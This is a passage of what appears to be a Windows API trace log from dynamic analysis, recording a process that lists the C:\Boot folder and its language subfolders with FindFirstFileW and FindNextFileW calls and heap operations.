ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.049] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.049] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.049] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.049] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.049] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.049] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.049] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.050] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.050] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.050] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.050] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.050] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.050] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.050] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.051] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.051] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.051] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.051] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.052] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.052] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.052] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.052] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.052] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.052] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.052] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.052] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.052] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.052] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.053] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.053] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.053] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.053] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.053] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.053] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.053] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.054] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.054] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.054] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.054] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.054] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.054] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.054] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.055] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.055] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.055] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.055] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.055] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.055] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.055] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.056] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.056] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.056] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.056] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.056] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.056] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.056] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.057] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.057] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.057] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.057] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.057] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.058] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.058] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.058] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.058] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.058] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.058] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.058] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.060] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.060] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, 